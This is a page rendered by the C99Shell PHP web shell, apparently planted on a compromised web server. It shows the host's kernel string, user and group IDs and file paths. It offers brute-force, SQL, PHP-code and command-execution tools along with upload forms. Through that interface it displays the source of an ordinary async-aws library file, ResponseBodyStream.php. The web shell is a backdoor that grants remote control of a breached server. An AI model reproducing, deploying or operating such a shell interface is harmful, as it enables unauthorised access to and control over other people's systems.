!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Stream/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResponseBodyStream.php (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Stream;

use 
AsyncAws\Core\Exception\LogicException;
use 
Symfony\Contracts\HttpClient\ResponseStreamInterface;

/**
 * Stream a HTTP response body.
 * This class is a BC layer for Http Response that does not support `toStream()`.
 * When calling `getChunks` you must read all the chunks before being able to call this method (or another method) again.
 * When calling `getContentAsResource`, it first, fully read the Response Body in a blocking way.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
class ResponseBodyStream implements ResultStream
{
    
/**
     * @var ResponseStreamInterface
     */
    
private $responseStream;

    
/**
     * @var ResponseBodyResourceStream|null
     */
    
private $fallback;

    private 
$partialRead false;

    public function 
__construct(ResponseStreamInterface $responseStream)
    {
        
$this->responseStream $responseStream;
    }

    public function 
__toString()
    {
        return 
$this->getContentAsString();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getChunks(): iterable
    
{
        if (
null !== $this->fallback) {
            yield from 
$this->fallback->getChunks();

            return;
        }
        if (
$this->partialRead) {
            throw new 
LogicException(sprintf('You can not call "%s". Another process doesn\'t reading "getChunks" till the end.'__METHOD__));
        }

        
$resource fopen('php://temp''rb+');
        foreach (
$this->responseStream as $chunk) {
            
$this->partialRead true;
            
$chunkContent $chunk->getContent();
            
fwrite($resource$chunkContent);
            yield 
$chunkContent;
        }

        
$this->fallback = new ResponseBodyResourceStream($resource);
        
$this->partialRead false;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getContentAsString(): string
    
{
        if (
null === $this->fallback) {
            
// Use getChunks() to read stream content to $this->fallback
            
foreach ($this->getChunks() as $chunk) {
            }
        }

        
/** @psalm-suppress PossiblyNullReference */
        
return $this->fallback->getContentAsString();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getContentAsResource()
    {
        if (
null === $this->fallback) {
            
// Use getChunks() to read stream content to $this->fallback
            
foreach ($this->getChunks() as $chunk) {
            }
        }

        
/** @psalm-suppress PossiblyNullReference */
        
return $this->fallback->getContentAsResource();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--